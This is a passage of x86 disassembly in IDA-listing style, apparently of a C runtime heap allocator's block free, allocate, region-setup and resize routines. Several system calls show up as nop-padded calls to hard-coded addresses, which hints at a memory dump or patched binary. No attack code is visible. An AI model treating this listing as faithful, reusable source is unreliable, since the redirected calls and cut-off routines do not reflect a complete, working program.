		cmp	edx, 3Fh
		jbe	short loc_41DF06
		push	3Fh
		pop	edx

loc_41DF06:				; CODE XREF: sub_41DEA2+5Fj
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41DF5A
		cmp	edx, 20h
		jnb	short loc_41DF31
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41DF52
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41DF52
; ---------------------------------------------------------------------------

loc_41DF31:				; CODE XREF: sub_41DEA2+6Fj
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41DF52
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_41DF52:				; CODE XREF: sub_41DEA2+86j
					; sub_41DEA2+8Dj ...
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41DF5D
; ---------------------------------------------------------------------------

loc_41DF5A:				; CODE XREF: sub_41DEA2+6Aj
		mov	ecx, [ebp+var_4]

loc_41DF5D:				; CODE XREF: sub_41DEA2+B6j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx

loc_41DF78:				; CODE XREF: sub_41DEA2+56j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41DF86
		push	3Fh
		pop	edx

loc_41DF86:				; CODE XREF: sub_41DEA2+DFj
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_41E029
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_41DFAB
		mov	ebx, esi

loc_41DFAB:				; CODE XREF: sub_41DEA2+105j
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		mov	[ebp+var_4], ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		jbe	short loc_41DFBD
		mov	edx, esi

loc_41DFBD:				; CODE XREF: sub_41DEA2+117j
		cmp	ebx, edx
		jz	short loc_41E024
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_41E00C
		cmp	ebx, 20h
		jnb	short loc_41DFED
		mov	esi, 80000000h
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E00C
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_41E00C
; ---------------------------------------------------------------------------

loc_41DFED:				; CODE XREF: sub_41DEA2+12Dj
		lea	ecx, [ebx-20h]
		mov	esi, 80000000h
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E00C
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi

loc_41E00C:				; CODE XREF: sub_41DEA2+128j
					; sub_41DEA2+142j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx

loc_41E024:				; CODE XREF: sub_41DEA2+11Dj
		mov	esi, [ebp+arg_4]
		jmp	short loc_41E02C
; ---------------------------------------------------------------------------

loc_41E029:				; CODE XREF: sub_41DEA2+EDj
		mov	ebx, [ebp+arg_0]

loc_41E02C:				; CODE XREF: sub_41DEA2+185j
		cmp	[ebp+var_C], 0
		jnz	short loc_41E03A
		cmp	ebx, edx
		jz	loc_41E0BB

loc_41E03A:				; CODE XREF: sub_41DEA2+18Ej
		mov	ecx, [ebp+var_10]
		mov	ebx, [ecx+edx*8+4]
		lea	ecx, [ecx+edx*8]
		mov	[esi+4], ebx
		mov	[esi+8], ecx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_41E0BB
		mov	cl, [edx+eax+4]
		cmp	edx, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		jnb	short loc_41E092
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E081
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx

loc_41E081:				; CODE XREF: sub_41DEA2+1CFj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_41E0BB
; ---------------------------------------------------------------------------

loc_41E092:				; CODE XREF: sub_41DEA2+1C9j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E0A8
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx

loc_41E0A8:				; CODE XREF: sub_41DEA2+1F4j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx

loc_41E0BB:				; CODE XREF: sub_41DEA2+192j
					; sub_41DEA2+1B7j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_41E1C6
		mov	eax, dword_4DC8F4
		test	eax, eax
		jz	loc_41E1B8
		mov	ecx, dword_4DC8EC
		mov	esi, dword_4271C0
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	esi
		mov	ecx, dword_4DC8EC
		mov	eax, dword_4DC8F4
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_4DC8F4
		mov	ecx, dword_4DC8EC
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_4DC8F4
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_4DC8F4
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41E149
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_4DC8F4

loc_41E149:				; CODE XREF: sub_41DEA2+29Cj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41E1B8
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi
		mov	eax, dword_4DC8F4
		push	dword ptr [eax+10h]
		push	0
		push	dword_4DC904
		nop
		call	near ptr 27B0000h
		mov	eax, dword_4DC8F8
		mov	edx, dword_4DC8FC
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_4DC8F4
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_41CC90
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_4DC8F8
		cmp	eax, dword_4DC8F4
		jbe	short loc_41E1AE
		sub	[ebp+arg_0], 14h

loc_41E1AE:				; CODE XREF: sub_41DEA2+306j
		mov	eax, dword_4DC8FC
		mov	dword_4DC8F0, eax

loc_41E1B8:				; CODE XREF: sub_41DEA2+234j
					; sub_41DEA2+2ABj
		mov	eax, [ebp+arg_0]
		mov	dword_4DC8EC, edi
		mov	dword_4DC8F4, eax

loc_41E1C6:				; CODE XREF: sub_41DEA2+38j
					; sub_41DEA2+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DEA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E1CB	proc near		; CODE XREF: sub_41B202+77p
					; sub_41B513+18p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_4DC8F8
		mov	edx, dword_4DC8FC
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_41E20B
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_41E21B
; ---------------------------------------------------------------------------

loc_41E20B:				; CODE XREF: sub_41E1CB+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax

loc_41E21B:				; CODE XREF: sub_41E1CB+3Ej
		mov	eax, dword_4DC8F0
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E242

loc_41E229:				; CODE XREF: sub_41E1CB+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E242
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41E229

loc_41E242:				; CODE XREF: sub_41E1CB+5Cj
					; sub_41E1CB+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41E2C0
		mov	ebx, edx

loc_41E249:				; CODE XREF: sub_41E1CB+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E265
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E263
		add	ebx, 14h
		jmp	short loc_41E249
; ---------------------------------------------------------------------------

loc_41E263:				; CODE XREF: sub_41E1CB+91j
		cmp	ebx, eax

loc_41E265:				; CODE XREF: sub_41E1CB+83j
		jnz	short loc_41E2C0

loc_41E267:				; CODE XREF: sub_41E1CB+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_41E27D
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41E27A
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_41E267
; ---------------------------------------------------------------------------

loc_41E27A:				; CODE XREF: sub_41E1CB+A5j
		cmp	ebx, [ebp+var_4]

loc_41E27D:				; CODE XREF: sub_41E1CB+9Fj
		jnz	short loc_41E2A5
		mov	ebx, edx

loc_41E281:				; CODE XREF: sub_41E1CB+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41E295
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41E293
		add	ebx, 14h
		jmp	short loc_41E281
; ---------------------------------------------------------------------------

loc_41E293:				; CODE XREF: sub_41E1CB+C1j
		cmp	ebx, eax

loc_41E295:				; CODE XREF: sub_41E1CB+BBj
		jnz	short loc_41E2A5
		call	sub_41E4D4
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41E2B9

loc_41E2A5:				; CODE XREF: sub_41E1CB:loc_41E27Dj
					; sub_41E1CB:loc_41E295j
		push	ebx
		call	sub_41E585
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41E2C0

loc_41E2B9:				; CODE XREF: sub_41E1CB+D8j
		xor	eax, eax
		jmp	loc_41E4CF
; ---------------------------------------------------------------------------

loc_41E2C0:				; CODE XREF: sub_41E1CB+7Aj
					; sub_41E1CB:loc_41E265j ...
		mov	dword_4DC8F0, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41E2E7
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41E31E

loc_41E2E7:				; CODE XREF: sub_41E1CB+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41E31B

loc_41E304:				; CODE XREF: sub_41E1CB+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41E304

loc_41E31B:				; CODE XREF: sub_41E1CB+137j
		mov	edx, [ebp+var_4]

loc_41E31E:				; CODE XREF: sub_41E1CB+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41E347
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi

loc_41E347:				; CODE XREF: sub_41E1CB+16Dj
					; sub_41E1CB+183j
		test	ecx, ecx
		jl	short loc_41E350
		shl	ecx, 1
		inc	edi
		jmp	short loc_41E347
; ---------------------------------------------------------------------------

loc_41E350:				; CODE XREF: sub_41E1CB+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_41E36D
		push	3Fh
		pop	esi

loc_41E36D:				; CODE XREF: sub_41E1CB+19Dj
		cmp	esi, edi
		jz	loc_41E482
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41E3DE
		cmp	edi, 20h
		jge	short loc_41E3AD
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41E3DB
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_41E3DE
; ---------------------------------------------------------------------------

loc_41E3AD:				; CODE XREF: sub_41E1CB+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41E3DB
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_41E3DE
; ---------------------------------------------------------------------------

loc_41E3DB:				; CODE XREF: sub_41E1CB+1D6j
					; sub_41E1CB+203j
		mov	ebx, [ebp+arg_0]

loc_41E3DE:				; CODE XREF: sub_41E1CB+1B0j
					; sub_41E1CB+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41E48E
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41E47F
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_41E450
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41E43E
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi

loc_41E43E:				; CODE XREF: sub_41E1CB+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_41E47F
; ---------------------------------------------------------------------------

loc_41E450:				; CODE XREF: sub_41E1CB+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41E469
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi

loc_41E469:				; CODE XREF: sub_41E1CB+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi

loc_41E47F:				; CODE XREF: sub_41E1CB+24Ej
					; sub_41E1CB+283j
		mov	ecx, [ebp+var_8]

loc_41E482:				; CODE XREF: sub_41E1CB+1A4j
		test	ecx, ecx
		jz	short loc_41E491
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_41E491
; ---------------------------------------------------------------------------

loc_41E48E:				; CODE XREF: sub_41E1CB+229j
		mov	ecx, [ebp+var_8]

loc_41E491:				; CODE XREF: sub_41E1CB+2B9j
					; sub_41E1CB+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41E4C7
		cmp	ebx, dword_4DC8F4
		jnz	short loc_41E4C7
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4DC8EC
		jnz	short loc_41E4C7
		and	dword_4DC8F4, 0

loc_41E4C7:				; CODE XREF: sub_41E1CB+2E0j
					; sub_41E1CB+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]

loc_41E4CF:				; CODE XREF: sub_41E1CB+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E1CB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E4D4	proc near		; CODE XREF: sub_41E1CB+CCp
		mov	eax, dword_4DC8F8
		mov	ecx, dword_4DC8E8
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41E517
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_4DC8FC
		push	edi
		push	dword_4DC904
		nop
		call	near ptr 2850000h
		cmp	eax, edi
		jz	short loc_41E567
		add	dword_4DC8E8, 10h
		mov	dword_4DC8FC, eax
		mov	eax, dword_4DC8F8

loc_41E517:				; CODE XREF: sub_41E4D4+11j
		mov	ecx, dword_4DC8FC
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_4DC904
		lea	esi, [ecx+eax*4]
		nop
		call	near ptr 27C0000h
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41E567
		push	4
		push	2000h
		push	100000h
		push	edi
		nop
		call	near ptr 28A0899h
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41E56B
		push	dword ptr [esi+10h]
		push	edi
		push	dword_4DC904
		call	near ptr 27B0000h
		nop

loc_41E567:				; CODE XREF: sub_41E4D4+30j
					; sub_41E4D4+67j
		xor	eax, eax
		jmp	short loc_41E582
; ---------------------------------------------------------------------------

loc_41E56B:				; CODE XREF: sub_41E4D4+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_4DC8F8
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi

loc_41E582:				; CODE XREF: sub_41E4D4+95j
		pop	edi
		pop	esi
		retn
sub_41E4D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E585	proc near		; CODE XREF: sub_41E1CB+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx

loc_41E597:				; CODE XREF: sub_41E585+19j
		test	eax, eax
		jl	short loc_41E5A0
		shl	eax, 1
		inc	ebx
		jmp	short loc_41E597
; ---------------------------------------------------------------------------

loc_41E5A0:				; CODE XREF: sub_41E585+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax

loc_41E5B5:				; CODE XREF: sub_41E585+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41E5B5
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		nop
		call	near ptr 28A0899h
		test	eax, eax
		jnz	short loc_41E5E8
		or	eax, 0FFFFFFFFh
		jmp	loc_41E67B
; ---------------------------------------------------------------------------

loc_41E5E8:				; CODE XREF: sub_41E585+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_41E62E
		lea	eax, [edi+10h]

loc_41E5F5:				; CODE XREF: sub_41E585+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41E5F5

loc_41E62E:				; CODE XREF: sub_41E585+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41E66B
		or	[eax+4], edi

loc_41E66B:				; CODE XREF: sub_41E585+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx

loc_41E67B:				; CODE XREF: sub_41E585+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E585	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E680	proc near		; CODE XREF: sub_41B202+6Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_41E82E
		test	bl, 1
		jnz	loc_41E827
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41E827
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41E6F7
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx

loc_41E6F7:				; CODE XREF: sub_41E680+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41E747
		cmp	ecx, 20h
		jnb	short loc_41E723
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E747
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E747
; ---------------------------------------------------------------------------

loc_41E723:				; CODE XREF: sub_41E680+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E747
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_41E747:				; CODE XREF: sub_41E680+7Dj
					; sub_41E680+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41E815
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_41E781
		push	3Fh
		pop	edi

loc_41E781:				; CODE XREF: sub_41E680+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41E803
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41E7DA
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41E7CD
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx

loc_41E7CD:				; CODE XREF: sub_41E680+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_41E7FF
; ---------------------------------------------------------------------------

loc_41E7DA:				; CODE XREF: sub_41E680+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41E7F0
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx

loc_41E7F0:				; CODE XREF: sub_41E680+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h

loc_41E7FF:				; CODE XREF: sub_41E680+158j
		shr	edx, cl
		or	[eax], edx

loc_41E803:				; CODE XREF: sub_41E680+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41E818
; ---------------------------------------------------------------------------

loc_41E815:				; CODE XREF: sub_41E680+E5j
		mov	edx, [ebp+arg_4]

loc_41E818:				; CODE XREF: sub_41E680+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_41E96E
; ---------------------------------------------------------------------------

loc_41E827:				; CODE XREF: sub_41E680+52j
					; sub_41E680+5Cj
		xor	eax, eax
		jmp	loc_41E971
; ---------------------------------------------------------------------------

loc_41E82E:				; CODE XREF: sub_41E680+49j
		jge	loc_41E96E
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41E859
		push	3Fh
		pop	esi

loc_41E859:				; CODE XREF: sub_41E680+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41E8E8
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41E872
		push	3Fh
		pop	esi

loc_41E872:				; CODE XREF: sub_41E680+1EDj
		mov	ecx, [edi+4]
